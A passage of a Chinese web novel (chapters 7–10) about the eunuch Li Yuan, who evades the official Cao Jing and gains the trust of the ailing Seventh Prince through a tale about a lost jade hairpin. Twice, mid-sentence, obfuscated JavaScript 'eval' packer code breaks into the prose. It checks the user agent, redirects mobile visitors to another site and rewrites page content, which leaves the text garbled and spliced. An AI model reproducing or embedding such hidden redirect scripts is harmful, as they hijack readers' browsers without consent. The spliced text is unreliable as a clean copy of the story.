不及细想，他立刻环顾四周，见身旁有一排高大书架，顶上与房梁间隙，堆放着许多不常用的卷轴箱箧，灰尘积了厚厚一层。 他当下再不迟疑，提起一口内息，身形如狸猫般轻巧一纵，手足并用，悄无声息地攀上书架顶端，蜷缩进那堆满卷轴的阴影之中，同时全力运转《龟息功》，将周身气息收敛得干干净净。 几乎就在他藏好的同时，藏书阁的门“吱呀”一声被推开。 曹敬尖细阴冷的声音响起，在这空旷阁内显得格外清晰：“咱家随意走走。福平，你这地方，近日可有什么生面孔来往？” 7. 第 7 章 福平的声音带着谄媚与小心：“回曹公公的话，这地方冷清得鬼都不上门，除了几个老面孔，也就是净房福安手下的那个小火者，偶尔来替他那干爹寻几本闲书解闷。” “哦？净房的人？”曹敬的脚步声在阁内缓缓响起，似乎在随意查看，“就是那个叫李原的小子？” “正是，正是。那孩子看着胆小老实，就是有点小聪明，知道孝敬。” 曹敬冷笑一声：“小聪明？咱家看，未必只是小聪明。”他的脚步声渐渐向李原藏身这片区域靠近。 李原伏在梁上阴影中，心跳如鼓，却强行令其放缓，身体纹丝不动，连目光都收敛，只凭耳力倾听下方动静。 只听曹敬在那堆旧木箱前停下，似是随手翻动了什么。李原心中暗叫侥幸，若晚上片刻，只怕便要被他撞个正着。 “福平，”曹敬的声音再次响起，带着一丝不易察觉的严厉，“咱家手下有三个不成器的东西，前几日出来办事，至今未归。你可曾见过，或听过什么风声？” 福平的声音立刻道：“不曾！不曾！曹公公，您老的人，借奴婢十个胆子也不敢过问啊！许是……许是他们办差辛苦，在哪里歇脚了？” “歇脚？”曹敬哼了一声，“怕是歇到阎王爷那儿去了！” 他顿了顿，语气放缓，却更显阴森，“福平，你是个明白人。这宫里，要想活得长久，就得知道，什么该看，什么不该看；什么该说，什么不该说。若让咱家知道，有人看到了不该看的，听到了不该听的……哼，那净房近日，怕是又要多几张草席了。” 这话，分明是意有所指，更带着浓重的威胁。 福平连声应道：“是是是，曹公公金玉良言，奴婢谨记，谨记！” 曹敬似乎未发现什么异常，脚步声又响了几下，便朝门口走去：“罢了，你好生守着这里。若有任何可疑之人、可疑之事，立刻来报与咱家知道。” “奴婢明白，恭送曹公公！” 阁门重新合上，福平的脚步声也似在渐渐远去。 李原却并未立刻下来。他在梁上又静伏了约莫一炷香的功夫，确认阁内外再无其他动静，曹敬确实已走远，这才轻轻吐出一口浊气，小心翼翼地自梁上跃下，落地无声。 李原的后背衣衫，已被冷汗浸湿一片。方才曹敬那番话，杀意凛然，显然已将怀疑的焦点，对准了净房，对准了他李原。那三个太监的失踪，对方绝不会善罢甘休。 他的处境，愈发危急了。 他不敢再多停留，整理了一下衣袍，悄然走出藏书阁。 福平见他出来，神色复杂地看了他一眼，张了张嘴，最终却什么也没说，只挥挥手，示意他快走。 李原躬身行礼，快步离开。回净房的路上，他心中已如明镜一般。曹敬的威胁，如同悬顶之剑，随时可能落下。他必须尽快与七皇子搭上线，借其势以自保。如果做不到，至少，也要将这潭水搅浑。 而方才在旧档中发现的端嫔近侍名录与失窃旧事，或可成为另一块敲门砖。只是，该如何用，何时用，仍需谨慎谋划。 是夜，净房值房内，炭火比往日稍旺了些。福安靠在椅上，听着窗外呼啸的北风，手中摩挲着李原新寻来的一本《水浒传》抄本，却久久未曾翻开。 李原伺候在侧，将炉火拨得旺旺的，又替福安斟了碗热茶。 福安忽然开口，声音有些沙哑：“今日……曹公公去藏书阁了？” 李原手微微一颤，茶水险些洒出。他放下茶壶，垂首低声道：“是……儿子远远瞧见了，没敢上前，就赶紧回来了。” 福安“嗯”了一声，浑浊的老眼望向跳动的火焰：“他说……丢了几个人。” 李原心头一紧，面上适时地露出惊惧之色：“丢……丢人？干爹，这……莫非是前几日查问儿子的那几位公公？儿子那日确实病着，什么也不知道啊！” 福安转过头，深深看了他一眼，那目光似乎要看到他心底里去。 良久，他才缓缓道：“不知道就好。不知道，就能活得长久些。”他顿了顿，又道，“七殿下的病，听闻更重了些。西苑那边，缺医少药的，也是可怜。” 李原闻言，心中雪亮。福安这是在点醒他，时机稍纵即逝，七皇子处境艰难，正是可趁之机，亦是风险最大之时。 他扑通一声跪倒在地，声音带着几分哽咽，却又强自压抑：“干爹……孩儿……孩儿知道干爹疼我。只是如今这情形，孩儿如同惊弓之鸟，实在不知该如何是好。那日听得端嫔娘娘旧事，心中感念娘娘仁德，如今见七殿下如此，更是……更是心中难安。孩儿人微言轻，纵有寸心，亦是无门可投啊！” 他这番话，半真半假，既表露了惶恐，又点明了对七皇子的“同情”与“报恩”之念，更是将难题抛给了福安。 福安看着他，久久不语。屋内只闻炭火噼啪，与窗外风声呜咽。 终于，福安叹了口气，声音低沉得几不可闻：“咱家老了……有些事，力不从心了。不过，净房去西北苑拉‘货’，路径是固定的……明日，该是轮到你去拉了罢？” 李原猛地抬头，看向福安，眼中适时地爆发出惊喜与感激的光芒，连连叩首：“干爹！孩儿……孩儿明白了！多谢干爹成全！” 福安摆摆手，脸上露出疲惫之色：“成全什么？咱家什么也没说，你什么也没听明白。去吧，咱家乏了，要歇了。” “是，是！孩儿告退，干爹好生安歇。”李原又磕了个头，这才起身，轻手轻脚地退了出去。 回到自己那冰冷的铺位，李原却毫无睡意。福安最后那几句话，无疑是默许，甚至是指点了他一条接近七皇子的路径，那就是利用明日从西北苑拉走尸首的机会。 然而，如何利用这次机会？直接求见？定然被拒之门外，甚至惹来怀疑。献药？太过突兀，且难以取信于人。 他闭上眼，脑中飞速回想着白日里在藏书阁旧档中看到的信息——端嫔与赵忠、端嫔失窃的玉簪…… 一个模糊的计划，渐渐在他心中成形。 或许，可以借那桩陈年旧案，编造一个合理的由头？比如，净房老太监赵忠临终遗言，关乎当年玉簪失窃真相，欲禀报七皇子，以报端嫔娘娘之恩？ 此计虽险，却能将他的出现，与“报恩”、“旧案”联系起来，显得顺理成章，而非刻意攀附。至于那玉簪真相究竟如何，并不重要，重要的是，这个借口，足以引起病中孤寂、又可能对母妃旧事心存执念的七皇子的兴趣。 当然，此计能否成功， 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福安披着那件旧棉袍，立在檐下，看着李原将最后一点杂物搬上车。他浑浊的老眼在李原脸上停留片刻，只淡淡道：“路上滑，仔细些。早去早回。” “儿子省得，干爹放心。”李原垂首应道，脸上是惯有的恭顺。他今日特意换了件略干净些的旧袍，虽仍是卑微，却少了几分污秽之气。 他拉起车辕，吱吱呀呀碾过积雪。出了净房那低矮院门，李原便觉着背后似有目光黏着。他知是曹敬手下那些暗桩，也不回头，只将腰弯得更低，步履沉重，一如往常那个吃力拉车的小火者。 通往西苑的路，他昨日已暗自记下。此番行来，更是将沿途宫巷、岔路、哨岗一一印入脑中。宫中行走，熟记路径，有时比武功更堪保命。 越近西苑，宫道愈发整洁，巡逻的侍卫身影也多了起来。那些侍卫身着铁甲，按刀而立，目光如电扫过往来宫人。李原拉着的车，上面有净房的标志，自是惹人厌弃，未近前，便被挥手驱赶到宫道边缘，贴着墙根慢行。 他心中无半分屈辱，反是愈发冷静。他目光低垂，却将西苑入口的守卫布置、换防时辰，默记于心。 按例，这秽物车辆，只能行至西苑侧后方的一处角门。那里亦有内侍看守，专司接收查验。 行至角门外，李原停下板车，上前几步，对着守门的内侍躬身行礼，递上对牌，脸上堆起谄笑：“公公辛苦，奴婢是净房的，今天过来把‘东西’收了。” 那守门太监约莫三十来岁，面皮白净，眼神却有些倨傲。他捏着鼻子，远远瞥了眼板车，厌恶地挥挥手：“快些进去！东西堆在墙根儿那处棚子底下，手脚利落点，莫要污了地界！” “是是是。”李原连声应着，忙放下板车，蹲下身去搬动尸身。 这是一个破旧席棚下，席棚下有三具覆盖着草席的尸体，冻得硬邦邦的。棚内积雪未扫，寒气逼人。 他动作麻利，将车上的草席拿下，快速卷在尸身上。 过程中，他眼角余光飞快扫视。 只见这角门内是一处狭长院落，颇为荒僻，几间厢房都门窗紧闭，不见人迹。唯院落尽头，有一月洞门，似是通往内苑。那里的深处，或许便是七皇子朱瑄养病的暖阁所在？ 8. 第 8 章 心思转动间，李原已经将尸首安置妥当。他取下手套，脱下罩衫，垂手退至角门边，等候那守门太监查验用印。 守门太监捏着鼻子，草草看了板车上的尸首，便取出小印，在李原的文书上盖了一下，催促道：“行了行了，快走罢！” 李原接过文书，小心收好，却并未立刻离开。他脸上露出几分犹豫惶恐之色，凑近一步，压低声音道：“公公，奴婢……奴婢还有一事相求。” 那太监眉头一皱：“何事？” 李原自怀中摸出那包着草药与字条的小包，双手奉上，腰弯得极低，声音带着颤：“奴婢……奴婢受净房一位故去老公公临终所托，有……有几句关乎端嫔娘娘的旧话，想……想转呈七皇子殿下。此乃老公公一片报恩之心，求公公……行个方便，代为传递……” 他说着，袖口微动，一小块碎银已悄无声息地滑入对方掌心。 这便是他第一次尝试。借“报恩”之名，行贿赂之实，乃宫中常见手段。成与不成，皆看这守门太监是否贪财，且是否愿意担此干系。 那太监只觉掌心一沉，掂量了下银子分量，面色稍霁，但一听“端嫔娘娘”、“七皇子”，随后又看了看李原还有他身后板车上的尸体，眼神立刻锐利起来，如同被针扎了一般。 很快，太监将那银子竟又塞回李原手中，冷笑道：“你好大的胆子！你是个什么东西？也不嫌自己脏！七殿下是何等身份？岂是你这等人能攀扯的？什么陈年旧话，咱家看你是活腻了！快滚！否则立时拿了你去内侍监！让你见曹公公！” 李原心中一惊，面上却愈发惶恐，几乎要跪下来，带着哭腔道：“公公息怒！奴婢……奴婢不敢，奴婢这就走，这就走！” 说罢，如同丧家之犬，拉起板车，踉跄着快步离去。 直至拐过宫巷，看不见那角门，李原才放缓脚步，脸上惊惶尽去，只余一片沉静。 第一次叩门，失败了。此法果然太过直接，这守门太监层级太低，不敢沾染丝毫与七皇子相关之事，尤其涉及已失势的端嫔。宫中的人情冷暖，可见一斑。 他不慌不忙，拉着板车，并未直接回返净房，而是绕向西苑另一侧。 他记得昨日探查时，见那边有一处小厨房，专司西苑日常用度，常有杂役太监出入，或可寻得机会。 行至小厨房院外，果见几个小火者正搬运菜蔬柴炭。李原将板车停在远处，整了整衣袍，脸上重新堆起那憨厚又带着几分怯懦的笑容，走上前去。 “几位哥哥辛苦。”他对着一个看似领头的小太监躬身道，“奴婢是净房的，路过此地，讨碗热水喝。” 那小太监瞥了他一眼，见其衣着寒酸，又是净房那等地方的，脸上便带了几分鄙夷，但还是指了指院中一口大缸：“缸里有，自己舀去。” “多谢哥哥。”李原道了谢，自去缸边取了瓢舀水。他一边慢吞吞喝水，一边状若随意地与那几个忙碌的小火者搭话。 “这西苑就是比咱们那地界清净……听说七殿下在此养病，想必各位哥哥伺候得更是精心吧？”他语气中带着羡慕。 一提及七皇子，那几个小火者互相看了一眼，神色都有些微妙。那领头的小太监含糊道：“主子的事，咱们哪敢议论。做好本分便是。” 李原点头称是，又叹道：“说的是。只是……唉，奴婢想起净房一位故去的赵老公公，当年曾受过端嫔娘娘大恩，临终还念念不忘。可惜娘娘……如今七殿下又贵体欠安，真是令人唏嘘。” 他再次提及“端嫔”与“报恩”，试图引起这些底层太监的共鸣，或能寻得一个心软之人，代为传话。此番不再直接牵扯七皇子，只打感情之牌，是为第二次尝试。 然而，那几个小火者闻言，非但无动于衷，反而面露警惕之色。那领头太监打量李原几眼，冷冷道：“你这人，怎地尽说些没头没脑的话？喝完了水就快走，莫要在此碍事！” 另一人更是低声嘀咕：“净房来的，晦气……” 李原心中暗叹。这些底层杂役，看似地位卑微，实则更为小心谨慎，生怕一言不慎，惹祸上身。自己这“报恩”之说，在他们听来，恐怕与麻烦无异。 他不再多言，默默放下水瓢，道了声谢，拉起板车黯然离去。 两次叩门，皆被拒之门外。一次因层级太低，不敢沾染；一次因人心冷漠，明哲保身。这宫廷壁垒之森严，明哲保身之道的影响，可见一斑。 日头渐高，寒意却未减分毫。 李原拉着板车，行走在寂寥宫巷中，身影被拉得细长。他面上无甚表情，心中却无多少挫败之感。此等结果，本就在他预料之中。若那高墙深院如此易进，反倒奇了。 他在脑中细细复盘方才两次经过。那角门太监畏惧曹敬，小厨房杂役但求无过……皆非可趁之机。看来，欲达目的，需得另辟蹊径，寻那既不甚起眼，又能接近七皇子，且或有隙可乘之人。 正当他沉思之际，忽闻一阵轻微脚步声自院内传来。却见一个身着青色棉袍、面容憔悴的老太监，在一个小内侍的搀扶下，从前方缓缓过来，似是在这偏僻处透口气。 李原目光一凝。这老太监他认得，乃是七皇子生母端嫔娘娘昔日宫中的旧人，姓吴，如今似乎跟在七皇子身边伺候。 机会！ 李原心念电转，当下不再犹豫。他佯装收拾板车，脚下却似不经意般，向那老太监方向靠近几步。待得距离稍近，他忽然“哎呦”一声，脚下似是绊到石块，一个趔趄向前扑倒，怀中那用油纸紧紧包裹的物事，“啪嗒”一声，滚落在地，恰巧落在老太监吴公公脚前不远处。 李原慌忙爬起，也顾不得拍打身上尘土，便要上前去捡。 吴公公身旁那小内侍已厉声喝道：“哪来的毛手毛脚！惊扰了吴公公，你担待得起吗？” 李原吓得浑身一哆嗦，跪倒在地，连连叩首：“奴婢该死！奴婢该死！方才脚下打滑，绝非有意惊扰公公！”他声音颤抖，带着哭腔，目光却死死盯着那地上的油纸包。 吴公公皱了皱眉，他年岁已高，精神不济，本不欲多事。然目光扫过地上那油纸包，见其包裹得甚是齐整，不似寻常秽物，又见这小太监神色惶恐中透着一丝异样，不由心中微动。他抬了抬手，止住那小内侍的呵斥，缓声道：“罢了，起来吧。那是何物？” 李原心中狂跳，知道成败在此一举。他并未立刻去捡，而是依旧跪着，抬首看向吴公公，眼中适时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347209|199531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的泛起泪光，压低声音，语带哽咽道：“回……回吴公公，此物……此物乃奴婢干爹福安，命奴婢务必寻机呈与吴公公或殿下身边的旧人的……说是……说是关乎故去端嫔娘娘的一桩心事……” “端嫔娘娘”四字入耳，吴公公浑浊的老眼骤然闪过一丝精光。他身形微不可察地一震，紧紧盯着李原，声音沉了下来：“哦？端嫔娘娘的心事？福安？可是净房那个老货？” “正是奴婢干爹。”李原叩头道，“干爹言，许多年前，蒙端嫔娘娘一饭之恩，此生难报。近日整理故物，偶得线索，关乎娘娘当年遗失的一支心爱玉簪……干爹年迈体衰，恐时日无多，特命奴婢冒死前来，将此物与口信带到，以全报恩之念。”他将事先想好的说辞，半真半假，低声飞快说出，并将“玉簪”、“报恩”字眼咬得略重。 吴公公闻言，面色变幻不定。端嫔娘娘失簪旧事，他自然知晓，当年也曾风波微澜，最终不了了之。如今时隔多年，竟又从这净房小太监口中听闻？他目光再次落在那油纸包上，沉吟不语。 宫中诡谲，人心难测。此物是真是假？是福安真的念旧，还是有人借机设局？他久历风浪，深知一步踏错，便是万劫不复。尤其眼下七殿下处境艰难，不知多少双眼睛盯着。 然则，若真是端嫔娘娘旧物线索……殿下对母妃之事，向来萦怀于心，或可借此稍慰病中寂寥？ 思虑再三，吴公公终是缓缓弯下腰，亲自拾起了那油纸包，入手微沉，似包着药材与纸笺。他并未立刻拆看，只深深看了李原一眼，那目光锐利，似要将他从里到外看个通透。 李原伏在地上，感受到那审视的目光，背脊发凉，却强自镇定，不敢流露半分异样。 良久，吴公公方直起身，将油纸包纳入袖中，淡淡道：“咱家知道了。你……回去告诉福安，他的‘心意’，咱家代殿下领了。去吧，今日之事，勿要对人言。” “是！是！多谢吴公公！奴婢告退！”李原如蒙大赦，又磕了个头，这才爬起身，拉起板车，几乎是逃离般匆匆离去。 直到拐过宫墙，再也感受不到身后那如芒在背的目光，他才敢稍稍放缓脚步，后背早已被冷汗浸透。 成了吗？他不知。吴公公态度莫测，并未明确表态。那包东西，他是否会呈给七皇子？七皇子又会作何反应？皆是未知之数。 然则，这已是他眼下所能做的极限。种子已然播下，能否发芽，需看天意，亦要看那“玉簪”旧事，能否真正触动七皇子之心。 返回净房，福安并未多问，只在他进门时撩起眼皮看了一眼。李原亦不多言，默默收拾工具，清洗双手，仿佛方才西苑门外那惊心动魄的一幕，从未发生。 此后数日，宫中波澜不惊。曹敬那边似乎也暂时偃旗息鼓，未见再有番子来净房查问。 然李原心中那根弦，却从未放松。他依旧每日勤恳当值，夜间则更加刻苦修炼《龟息功》与那《呼吸导引杂论》。 他丹田内气感日渐充盈，虽距后天境界尚远，然耳目聪明，远胜往昔，对周遭气息流动，亦多了几分玄妙感知。 他心知，无论那“投石问路”能否激起回响，自身实力的提升，方是立身根本。 9. 第 9 章 这日，他又得隙前往藏书阁。福平见他来了，只懒洋洋抬了抬下巴，便继续打他的盹。 李原熟门熟路，塞过银钱，悄步而入。 阁内依旧冷清，即使做了打扫，但灰尘味还是很大。他此番并未直奔那些武学杂书区域，反而在经史架子前流连。李原随手抽出一卷《战国策》，假意翻阅，心神却如一张细网，悄然铺开，感知着阁内每一丝动静。 前番曹敬突然至此，令他心有余悸。此地虽看似安全，但却和个筛子一般，而且福平态度暧昧，难保不会暗中通风报信。他需得更加小心，一丝差错也不能出。 约莫过了半个时辰，阁内并无他人到来。李原稍稍安心，放下《战国策》，缓步走向那些堆放旧档、杂书的深处。他想着，或可再寻些与前朝宫廷、或是江湖秘闻相关的残卷，以增广见闻。 正俯身翻检间，忽闻身后传来一阵极轻微的脚步声。若非他近日耳力大进，几难察觉。 李原浑身肌肉瞬间绷紧，却未立刻回头，手下翻书动作不停，只将《龟息功》悄然运转，周身气息敛至最低。 那脚步声在他身后丈许处停下。一个略显虚弱的青年声音响起，语气平和：“你便是那个……净房李原？” 李原心中剧震！这声音……他虽未曾亲耳听过，然其语调气度，绝非寻常太监或宫人！ 他霍然转身，只见身后立着一人，年约十七八岁，身形略显单薄，面容清俊，却带着久病之后的苍白，身着寻常青色服饰，然眉宇间那股隐约的贵气，却难以掩盖。 不是七皇子朱瑄，又是何人？！ 他怎会亲自来此？又如何认得自己？ 万千念头如电光石火般掠过脑海，李原面上已瞬间堆砌起十足的惊惶与难以置信，他“扑通”一声跪倒在地，声音颤抖得不成样子：“殿……殿下？！奴婢……奴婢李原，叩见殿下！奴婢不知殿下驾临，冲撞殿下，罪该万死！” 说着，他便要以头抢地。 “起来吧。”朱瑄的声音依旧平和，听不出喜怒，“此处不是别处，不必行此大礼。” 李原却不敢起身，依旧伏在地上，连称“不敢”。 朱瑄踱前两步，目光落在李原身上，细细打量。那目光并不锐利，却似能穿透皮囊，直窥内里。 李原只觉如坐针毡，背上冷汗涔涔而下，表情几乎要发生变化，全力运转《龟息功》，方能维持住那惊惶失措的表象。 “前日，吴伴伴呈给孤一物。”朱瑄缓缓开口，声音不高，却字字清晰，“说是你受净房福安所托，转交的？” 李原心头一紧，知道戏肉来了。他不敢抬头，颤声应道：“回殿下，正是……干爹他……他感念端嫔娘娘昔日恩德，病中……哦不，是近日感怀身世，偶然得知些许线索，关乎娘娘当年遗失心爱之物，特命奴婢冒死呈报，以全……以全报答之心。”他故意将“病中”二字说错，更显慌乱与“真实”。 朱瑄沉默片刻，方道：“那药，孤用了，咳疾稍减。孤，代母妃，谢过福安好意。” 李原忙道：“殿下折煞奴婢了！干爹若知殿下玉体安康，必欣喜万分！此乃奴婢等人本分，不敢当殿下谢字！” “本分……”朱瑄轻轻重复了一遍，语气莫名。他话锋一转，忽而问道，“你常来这藏书阁？” 李原不知其意，只得据实回答：“回殿下，奴婢……奴婢偶尔前来，替干爹寻些话本解闷，有时……有时自己也胡乱看些杂书，增长些见识，免得……免得太过愚钝，惹人笑话。” 他这话，既点明来此有因，又暗示自己“好学”，却将动机归于“怕人笑话”，符合他卑微的人设。 “哦？”朱瑄似是来了些兴趣，“都看些什么杂书？” 李原心中边飞快盘算，边答道：“无非是些……《山海经》、《博物志》之类，记些奇闻异事，也有……也有些医卜星相之流，干爹有时身子不爽利，奴婢也好略尽心意。”他刻意避开武学相关，只提些寻常杂学，并再次将缘由引向“孝敬”福安。 朱瑄点了点头，未置可否。他踱至一旁书架，随手抽出一卷书，却是《梦溪笔谈》。他翻了几页，似是不经意地道：“孤近日偶读此书，见其中载，‘古人铸鉴，鉴大则平，鉴小则凸。凡鉴洼则照人面大，凸则照人面小。小鉴不能全观人面，故令微凸，收人面令小，则鉴虽小而能全纳人面’。你可知，此言何解？” 李原闻言，心中猛地一沉。此言看似探讨铸镜之理，实则暗含深意！镜之凹凸，关乎映像之全缺，犹如人之眼界、胸襟，亦或……势力之大小、手段之高低。小鉴（喻势弱或位卑）欲全纳人面（喻掌控全局或窥见真相），则需“微凸”（喻用非常之法或另辟蹊径）。 七皇子此问，绝非无的放矢！他是在试探！试探自己是否真如表面上那般愚钝，仅止于看些浅显杂书？还是……另有所图？ 刹那之间，李原脑中已转过无数念头。承认看懂？未免显得过于聪慧，与自身伪装不符。全然不懂？又恐错过了这难得的、展现“价值”的机会，且可能被对方视为真正的蠢材，再无利用之念。 电光石火间，他已有决断。 只见他抬起头，脸上露出几分茫然与窘迫，小心翼翼道：“回殿下，奴婢……奴婢愚笨，只觉沈存中先生此言，说得是镜子做得巧妙，小的镜子也能照全脸……至于其中深意……奴婢……奴婢实在参详不透。”他刻意将理解停留在最浅显的表面，并流露出“想深究却无力”的窘态。 朱瑄静静看着他，目光深邃，未露丝毫情绪。阁内一时寂然，唯闻窗外风声，以及李原自己那被刻意放大的、略显急促的呼吸声。 良久，朱瑄方将书卷合上，放回原处，淡淡道：“不解便罢。不过是些匠作之理。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347210|199531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李原心中稍松，却不敢大意，忙垂下头，应道：“殿下学识渊博，奴婢……奴婢望尘莫及。” 朱瑄不再理会他，目光扫过书架，似是随意浏览。他行至那些堆放武备、方技书籍的区域，驻足片刻，却并未抽取任何书卷，只默默看着那些蒙尘的书卷。 李原伏在原地，不敢稍动，心中却是波涛汹涌。 七皇子在此现身，绝非偶然。他病体未愈，何以亲至这偏僻旧阁？是为那“玉簪”旧事？还是……另有所图？他方才那番试探，又究竟看出了多少？ 正自惊疑不定，忽闻朱瑄又道：“孤听闻，你在净房当值？那地方……与尸首打交道，怕是见识过不少……非常之事吧？” 李原心头再震，谨慎答道：“回殿下，净房卑污，所见无非是些……可怜人。奴婢胆小，每每见之，唯有尽心料理，令其入土为安，不敢……不敢细究。” “可怜人……”朱瑄轻轻咀嚼着这三个字，语气中听不出是感慨还是别的什么，“是啊，宫中最多的，便是‘可怜人’。有时，活人尚且不如死人安稳。” 朱瑄这话，似是无心，又似有意。李原不敢接话，只将头埋得更低。 朱瑄忽然转过身，目光再次落在李原身上，这一次，却带着一丝若有若无的审视与考量：“李原，你……可愿为孤办一件事？” 来了！李原心中凛然，知道真正的考验，此刻方至。 但李原并未立刻表态，而是适时地露出惶恐与不安，颤声道：“殿下但有吩咐，奴婢……奴婢万死不辞！只是……奴婢人微力薄，见识浅短，恐……恐有负殿下重托……” “不必你赴死。”朱瑄语气平淡，“孤只需你，依旧如常来往这藏书阁。替孤……留意些旧档文书，尤其是关乎光禄寺、或是内官监历年采买、库储之类的记录，若见到不寻常之处，记下便是，寻机报与吴伴伴。” 光禄寺？内官监采买？ 李原心中飞快转动。此乃肥缺，亦是最易滋生贪墨、中饱私囊之处。七皇子要查这些？是欲揪人把柄？还是……他猛然想起，如今署理内官监事务的，似乎正是曹敬一派的人！ 七皇子这是要借他之手，收集曹敬一党的罪证？抑或是，想从这些账目往来中，找出其他线索？ 此事实在非同小可！一旦卷入，便是彻底踏入了皇子与权宦争斗的漩涡中心，再无退路！且此事极易被察觉，风险极大。 然则，这也是他梦寐以求的“投名状”！唯有展现出足够的“价值”与“忠诚”，方能真正获得七皇子的信任与庇护。 利弊权衡，只在瞬间。李原脸上露出恰到好处的犹豫与挣扎，最终化为一种豁出去的决然。 他重重叩首，声音虽低，却带着一丝孤注一掷的坚定：“奴婢……奴婢明白了！殿下信重，奴婢……奴婢纵然粉身碎骨，也定当为殿下办好此事！” 10. 第 10 章 李原未问缘由，未提条件，只表忠心。这正是朱瑄此刻最需要的。 朱瑄看着他，苍白的脸上，首次露出一丝极淡的笑意，微微颔首：“很好。你是个聪明人。” 他顿了顿，自袖中取出一个小小玉牌，非是宫制，形制古朴，递与李原:“此物予你。若遇紧急，或是有所得，可持此物至西苑角门寻吴伴伴。平日，不可示人。” “奴婢谢殿下恩典！”李原双手接过玉牌，触手温润，知非凡品，心中却无半分喜悦，只觉重逾千斤。此物既是护身符，亦是催命符。 “起来吧。”朱瑄摆摆手，“今日之事，你知我知。” “奴婢谨记！今日从未见过殿下！”李原再次叩首，方才起身，垂手恭立。 朱瑄不再多言，深深看了他一眼，转身便向阁外走去，身影很快消失在书架尽头，脚步声渐不可闻。 李原独立原地，良久未动，手中那枚玉牌，已被掌心汗水浸湿。他成功了，终于与七皇子搭上了线，获得了初步的信任与对方的指派。 然则，他心中并无多少轻松之感。朱瑄此人，看似病弱平和，然心思缜密，话语机锋暗藏，绝非易与之辈。 方才那番对答，自己虽勉强应对过去，然是否真能瞒过对方？对方提及净房“见识”，是随口一问，还是意有所指？ 更重要的是，曹敬那边。自己如今算是半只脚踏入了七皇子的阵营，一旦被曹敬察觉，后果不堪设想。那搜寻账目罪证之事，更是如履薄冰，稍有不慎，便是灭顶之灾。 李原将玉牌小心贴身藏好，深吸一口气，压下心头翻涌的思绪。事已至此，唯有向前。至少，眼下算是找到了一棵暂时可倚靠的大树，虽则这大树自身，亦在风雨飘摇之中。 他不再停留，快步走出藏书阁。福平仍在打盹，对他离开恍若未觉。 返回净房途中，李原格外留意四周，确认并无人跟踪，心下稍安。然则，行至一处宫巷拐角，忽见两个面生的太监迎面走来，目光似是不经意地扫过他。 李原心中一紧，立刻低下头，加快脚步，欲要避开。 岂料那两人竟也同时加快步伐，直直向他撞来！ 李原暗道不好，脚下急转，欲要闪避，却已是来不及，肩头被其中一人重重一撞。他“哎呦”一声，向后踉跄几步，险些跌倒。 “没长眼睛吗？”那撞人的太监恶声恶气道，眼神凶狠。 另一人则阴恻恻地盯着李原，目光如毒蛇般在他脸上逡巡。 李原心中雪亮，此二人绝非偶然！怕是曹敬派来，故意寻衅，意在试探，或是……警告！ 他立刻堆起满脸惶恐，连连作揖：“奴婢该死！奴婢该死！冲撞了二位公公，求公公恕罪！”姿态放得极低，浑身瑟瑟发抖，与寻常胆小怕事的小太监无异。 那两人见他如此脓包模样，对视一眼，眼中闪过一丝鄙夷。撞人者哼了一声：“下次走路带上眼睛！滚吧！” “是是是！多谢公公！多谢公公！”李原如蒙大赦，点头哈腰，慌忙从二人身边溜过，脚步踉跄，头也不敢回。 直到走出老远，身后那如芒在背的目光才消失，他缓缓直起身，脸上那惶恐之色瞬间褪去，化为一片冰寒。 曹敬……果然并未放松对他的监视。今日这出，是警告，亦可能是动手的前兆。自己与七皇子接触，虽则隐秘，然则天下没有不透风的墙，须得万分小心才是。 他摸了摸怀中那枚温润玉牌，眼中闪过一丝冷厉。 棋局已开，落子无悔。如今，他需得尽快为七皇子找到些“有用”的东西，方能稳固这脆弱的依附，也方能……借力打力，应对曹敬那迫在眉睫的威胁。 回到净房，天色已近黄昏。福安坐在值房内，就着豆大的灯焰，填着烟丝。见李原回来，他头也未抬，只淡淡问了一句：“回来了？” “是，干爹。”李原恭敬应道，走上前，熟练地提起炉上温着的热水，为福安沏茶。 福安接过茶碗，吸溜了一口。他慢悠悠道：“今日……路上可还太平？” 李原手微微一颤，热水险些溅出。他放下水壶，垂首低声道：“回干爹，路上……路上遇到了两个生面孔，撞了儿子一下，凶得很……儿子不敢惹事，赔了罪就赶紧回来了。” 福安“嗯”了一声，不再说话，只默默抽着烟。烟雾缭绕，李原看不清对方的表情。 李原侍立一旁，心中却是波澜起伏。福安此问，是巧合？还是他知道了什么？这老宦官，看似不理外事，实则明里暗里均有眼线，宫中风吹草动，恐怕难逃其耳。 如今自己身陷皇子与权宦之争，如临深渊、如履薄冰，前路茫茫，杀机四伏。然则，既已踏上此路，便再无回头之理。 伺候福安歇息后，李原来到了值房内。值房里炭火奄奄一息，只余些许暗红余光，屋内冷得像是冰窖。 李原蜷缩在板铺上，薄被难御彻骨之寒。然则他胸中却似有一团火在烧，那枚贴身藏着的温润玉牌，此刻竟觉烫如烙铁。 七皇子朱瑄那张苍白而清俊的面容，以及那番暗藏机锋的话语，在他脑中反复回响。 “镜之凹凸，关乎映像之全缺……”李原于心中默念此句，暗忖，“七殿下此言，分明是窥破了我这‘小鉴’欲‘全纳人面’之心。然则他既用我，便是认可我这‘微凸’之法。如今我与他，算是一根绳上的蚂蚱了。” 他悄然运转《龟息功》，内息如丝如缕，自丹田升起，循经脉缓缓游走。 